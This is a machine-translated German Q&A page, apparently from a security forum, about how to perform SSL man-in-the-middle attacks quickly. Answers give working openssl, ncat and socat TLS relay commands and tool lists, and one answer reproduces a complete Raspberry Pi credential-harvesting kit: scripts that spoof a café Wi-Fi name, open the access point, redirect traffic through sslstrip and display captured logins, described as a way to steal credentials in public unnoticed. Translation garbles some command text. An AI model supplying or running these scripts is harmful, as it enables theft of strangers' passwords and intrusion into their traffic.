it-swarm.com.de

Was ist ein einfacher Weg, um einen Man-in-the-Middle-Angriff auf SSL durchzuführen?

Ich möchte einen Man-in-the-Middle-Angriff auf SSL-Verbindungen zwischen Clients und einem Server durchführen.

Angenommen, Folgendes:

  • Ich habe ein Zertifikat, das der Client über eine schlechte Zertifikatsvalidierung oder andere Mittel akzeptiert.
  • Ich kenne die IP-Adresse des Servers, den ich ausgeben möchte, und bin im Netzwerk in der Lage, Dinge wie ARP-Spoofing auszuführen.
  • Das zugrunde liegende Protokoll kann alles sein, von HTTP bis zu benutzerdefinierten/proprietären Dingen.

Ich könnte Code schreiben, um einen Port abzuhören, das Zertifikat bereitzustellen und SSL zu initiieren, dann Inhalte als transparenten Proxy weiterzuleiten und dann ARP-Spoofing durchzuführen, um den Datenverkehr an mich umzuleiten, aber das ist sehr aufwändig und wird bei der Arbeit umständlich auf einem Test, der eine enge Zeitbeschränkung hat.

Was ist eine schnelle/einfache Möglichkeit, einen Man-in-the-Middle-Angriff durchzuführen? Gibt es Tools, die dies auf einfache Weise und ohne viel Konfiguration ermöglichen? Etwas, das aktiv gepflegt wird, ist ein Plus.

48
Polynomial

Aktualisiert:

  • Für HTTP können Sie Burp Suite Proxy (Java) oder mitmproxy verwenden.

  • tcpcatcher ist ein allgemeinerer Java-basierter GUI-Erfassungs- und Änderungs-Proxy, der möglicherweise Ihren Anforderungen näher kommt. Er umfasst das Dekodieren und Ändern von Inhalten (manuell) und programmatisch). Es ist HTTP-voreingenommen, akzeptiert jedoch alle TCP. Es bietet SSL-Unterstützung, obwohl der einzige Nachteil darin zu bestehen scheint, dass es keine (dokumentierte) Möglichkeit gibt, ein eigenes spezifisches Zertifikat zu verwenden, sondern nur on-the-fly. Sie können leicht eine der folgenden Optionen verwenden, um dies zu umgehen.

  • ettercap enthält Funktionen für ARP-, ICMP- (Redirect), DNS- und DHCP- "Interventionen" und unterstützt direktes SSL MITM (allerdings derzeit nicht über die GUI) , müssen Sie an der conf und/oder Kommandozeile basteln). Dies scheint für die meisten Zwecke das beste All-in-One-Gerät zu sein.
  • sslsplit ist ein weiteres nützliches CLI-Tool, das (meistens) zum Abfangen und Protokollieren und nicht zum Ändern dient. Der Einstieg ist schneller als bei ettercap und bietet Funktionen wie SNI-Inspektion, dynamische Zertifikatgenerierung, Unterstützung für * BSD und Linux FW/NAT sowie [~ # ~] ocsp [~ # ~] / [~ # ~] hpkp [~ # ~] / [~ # ~] spdy [~ # ~] Gegenmaßnahmen für HTTPS. Sie müssen aber immer noch den Verkehr bekommen to es.

Wenn Sie schnell, Low-Tech und protokollunabhängig sein möchten, können Sie mit nur OpenSSL auf einer Unix-Box most vom Weg dorthin erhalten:

mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
  -accept 443 -cert fake.crt -key fake.key  < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request  | tee -a response

-quiet Aktiviert auch -ign_eof, Wodurch die spezielle Behandlung von Zeichen am Zeilenanfang (für zeilengepufferte Eingaben) unterdrückt wird, z. B. "Q" für das Beenden. s_client Unterstützt auch grundlegende STARTTLS-Funktionen: SMTP, POP3, IMAP, FTP (auth), XMPP und TELNET (von OpenSSL-1.1).

Starten Sie jedes openssl in einem anderen Terminal. Ersetzen Sie die tee durch ein Skript, um Anforderungen und Antworten bei Bedarf zu ändern. Es ist nicht das robusteste, aber es könnte nützlich sein. Es unterstützt DTLS, falls Sie dies benötigen, erfordert die IPv6-Unterstützung OpenSSL-1.1. ( GnuTLS unterstützt IPv6, und da v3.0 auch DTLS-Unterstützung bietet, können Sie mit gnutls-serv Und gnutls-cli Mit ziemlicher Sicherheit etwas Ähnliches tun habe das aber noch nicht ausprobiert.)

ncat mit der Option -exec Sollte auch funktionieren:

ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
  --sh-exec "openssl s_client -quiet -connect www.server.com:443" \ 
  -kl 127.0.0.1 4443

Sie können einfach "--exec" Verwenden und stattdessen Ihren eigenen Client in ein Skript einbinden. Mit s_client Hilft die Leistung erheblich, eine Sitzungsdatei vorab zu erstellen und dann -sess_in ssl.sess -sess_out ssl.sess Zu Ihren Aufrufen hinzuzufügen.

Wenn Sie das MITM selbst skripten/codieren müssen, ist socat eine weitere gute (und wahrscheinlich robusteste) Option:

CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \ 
  OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork  \
  EXEC:mitm.sh

Mit einem Einzeiler wie openssl s_client -quiet -connect www.server.com:443 In mitm.sh Funktioniert dies zunächst wie ein inetd - Client.

stunnel ist eher proxyartig als socat, es hat einen großen Vorteil, den ich nicht sehe Überall sonst: Es unterstützt protokollinterne TLS-Upgrades/ [~ # ~] starttls [~ # ~] für POP3, IMAP, SMTP und einige andere im Client- und Servermodus ;; obwohl LDAP und FTP bemerkenswerte Auslassungen sind (letztere verständlicherweise). Sein inetd Modus kann (ab) genau wie bei den obigen "exec" -Optionen verwendet werden.

Für Ändern generische textbasierte allgemeine Internetprotokolle, die diese Methoden verwenden, können Sie möglicherweise mit einigen sed davonkommen (wie einem verbindungsfreundlicheren netsed =) ) oder Light expect Scripting.

Der Multiprotokoll-Proxy Delegate unterstützt auch die externe (inetd-ähnliche) Behandlung und integriertes Scripting Unterstützung für Matching, Filtering und Rewriting für eine Teilmenge der unterstützten Protokolle.

Die einzigen anderen Dinge, die ich mir nahe an generischen protokollunabhängigen MITM-Proxys vorstellen kann, sind Fuzzing-Tools wie proxyfuzz oder modulare Multiprotokoll-Tools wie backfuzz (sei vorsichtig bei der Suche nach dem letzten ;-).

Andere möglicherweise nützliche Tools (zur Fehlleitung des Datenverkehrs) sind:

  • dsniff , einschließlich arpspoof
  • other arpspoof diese Version mit IPv6-Unterstützung
  • arpsend von vzctl
  • dnschef DNS-Proxy/Server (Python)

Ich bin auch mehrmals auf Verweise auf Zorp gestoßen, als ich meine Notizen durchgesehen habe. nicht frei verfügbar sowohl in einem Werbespot (ich habe keine Zugehörigkeit) und einer GPL-Version . Erwähnenswert, da es sich um eine modulare, erweiterbare (über Python) Multiprotokoll-Firewall/Gateway handelt. TLS-Inspektion wird in der GPL-Version unterstützt (SSH und andere scheinen auf die Nicht-GPL-Version beschränkt zu sein).

42
mr.spuratic

Hier ist ein Beitrag von mein Blog , in dem SSLStrip bei einem MITM-Angriff mit einem Raspberry Pi verwendet wird. Er musste entfernt werden, da Google Blogger ihn nicht mochte. Daher wird dieser Inhalt von Evernote eingefügt :)

Im Rahmen einer Demonstration des Sicherheitsbewusstseins habe ich meinen 3g Pi Wireless AP so eingerichtet, dass SSL von sicheren Websites entfernt und die Anmeldedaten erfasst werden. Sie kennen dies möglicherweise im Zusammenhang mit MITM-Angriffen. Da der Pi jedoch das Gateway ist, muss das Netzwerk nicht durch ARP vergiftet werden, und das Ganze läuft etwas schneller ab. Ich wollte zeigen, wie einfach es für jemanden sein würde, einen drahtlosen AP mit kostenlosem Internet einzurichten, wobei die Ausrüstung versteckt ist - möglicherweise in einem Rucksack - und an einem öffentlichen Ort sitzen und Anmeldedaten abrufen, ohne dass jemand etwas ahnt *. In Zukunft möchte ich dies tun, während ich den Pi von einer Batteriebank aus betreibe.

  • Das Hauptproblem des Angriffs ist, dass in der Navigationsleiste des Browsers am Anfang der URL nicht mehr "https:" angezeigt wird.

Eine Beschreibung der Skripte folgt:

Speisekarte

Dieses Skript ist ein einfaches Menü für die Verwendung der Harvester-Skripte für Anmeldeinformationen. Es wird aus Jeroen Doggens Blog kopiert und entsprechend bearbeitet. Die hervorgehobenen Teile müssen in das Verzeichnis geändert werden, in dem sich die Skripte befinden.

menu.sh

#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "

read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;

esac

done

Ändern Sie die SSID

Damit der Harvester für Pi-Anmeldeinformationen glaubwürdig erscheint, müssen wir in der Lage sein, die SSID - den Namen, den jeder beim Scannen nach verfügbaren Netzwerken sieht - an unsere aktuelle Umgebung anzupassen. In McDonalds gesessen? Ändern Sie die SSID in "McDonalds Free Customer Wifi" oder etwas Ähnliches.

Da der Pi-Harvester für Berechtigungsnachweise kopflos ist, ist der einfachste Weg, dies zu tun, SSH über WLAN und das Ausführen eines einfachen Skripts.

Das Skript verwendet den Befehl Sed. Auf der Manpage Sed: Sed ist ein Stream-Editor. Ein Stream-Editor wird verwendet, um grundlegende Texttransformationen für einen Eingabestream (eine Datei oder Eingabe aus einer Pipeline) durchzuführen.

Daher sollten wir in der Lage sein, den Eintrag für den SSID-Namen in der Datei hostapd.conf mithilfe von Sed zu ersetzen. In der Manpage wird angegeben, dass das Flag '-i' für Inline-Änderungen verwendet wird. Daher werden Live-Änderungen verwendet, bei denen keine weitere Kopie der Datei erstellt wird. Um die SSID zu ersetzen, lautet die vollständige Befehlssyntax:

sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE

Die 's' und 'g' am Anfang und Ende der Such- und Ersetzungszeichenfolge definieren die Art der Suche und Ersetzung, die ausgeführt werden soll. Unser STRING_TO_FIND wäre 'SSID = Pifi' und der STRING_TO_REPLACE wäre 'SSID = McDonalds Free Customer' Wifi 'in diesem Beispiel. FILE ist die Datei /etc/hostapd.conf und gibt uns den folgenden Befehl:

sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf

Der Hostapd-Dienst muss neu gestartet werden, damit die Änderung angewendet werden kann:

Sudo service hostapd restart

Das letzte Skript, das ich erstellt habe, ruft den Namen der aktuellen SSID ab, zeigt ihn an und fordert den Benutzer auf, die gewünschte SSID einzugeben. Dies wird an 'sed' übergeben, das eine Inline-Bearbeitung von hostapd.conf ausführt und den Dienst neu startet, um die Änderung zu übernehmen.

changeSsid.sh

#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name

echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
Sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
Sudo service hostapd restart

Netzwerk öffnen

makeOpen.sh

Dieses Skript verwendet 'sed', um die Zeile in hostapd.conf zu kommentieren, wodurch die WPA-Sicherheit aktiviert wird. Dadurch wird der AP geöffnet, sodass jeder daran teilnehmen kann. Der Hostapd-Dienst wird neu gestartet, um die Änderung zu aktivieren.

#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
Sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

Führen Sie SSLStrip aus

sslStrip.sh

Dieses Skript führt SSLStrip aus, das den SSL-Schutz vor sicheren Websites vortäuscht und das Lesen von Anmeldeinformationen im Klartext ermöglicht. Weitere Informationen finden Sie auf der SSLStrip-Website.

#!/bin/bash
echo "Editing Iptables and starting sslstrip"
Sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &

Schließen Sie SSLStrip

Dieses Skript entfernt die Routing-Regel aus iptables und ermöglicht wieder das normale Surfen. Es beendet auch den sslstrip-Prozess.

tidySslStrip.sh

#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
Sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Sudo killall sslstrip

Machen Sie das Netzwerk sicher

Dieses Skript verwendet 'sed', um die wpa-Zeile in hostapd.conf wieder zu aktivieren und den AP wieder sicher zu machen.

makeSecure.sh

#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
Sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

Wenn Sie diese manuell kopieren und in Skripte einfügen, denken Sie daran, sie ausführbar zu machen, indem Sie Folgendes verwenden:

Sudo chmod +x SCRIPT_NAME

Anmeldeinformationen anzeigen

Dieses Skript öffnet einfach die SSLStrip-Protokolldatei, damit Sie sie nach Benutzernamen und Kennwörtern durchsuchen können - die Datei enthält viel Müll, aber sie befinden sich darin!

#!/bin/bash
Sudo nano /home/pi/cred_harv/ssl.log
11
BigCowPi

SSLStrip wäre wahrscheinlich nützlich, um einen Test einzurichten oder ein MITM zu demonstrieren. Es ist ein python -Tool, das Sie mit Arp-Spoofing zum Einrichten von MiTM verwenden können. Es kann Weiterleitungen von http nach https untergraben. Es kann auch für die Verwendung mit einem Zertifikat konfiguriert werden, damit das Opfer stellt über ssl eine Verbindung zu Ihnen her und Sie stellen eine Verbindung zu ihrem ursprünglichen Ziel her. Auf der Moxie Marlinspike-Seite befindet sich ein Video, das einige seiner Verwendungszwecke demonstriert.

3
dudebrobro

Perl IO :: Socket :: SSL :: Intercept ist eine weitere bemerkenswerte Ergänzung zu den oben genannten hilfreichen Vorschlägen.

0
Liudvikas Bukys

PolarProxy kann PCAP-Dateien mit entschlüsseltem TLS-Verkehr wie HTTP und HTTP/2 erstellen. Sie können es sogar so konfigurieren, dass FTPS/IMAPS/SMTPS usw. entschlüsselt werden.

Haftungsausschluss: PolarProxy ist ein kostenloses Tool, das von uns bei Netresec entwickelt und gewartet wird.

0
netresec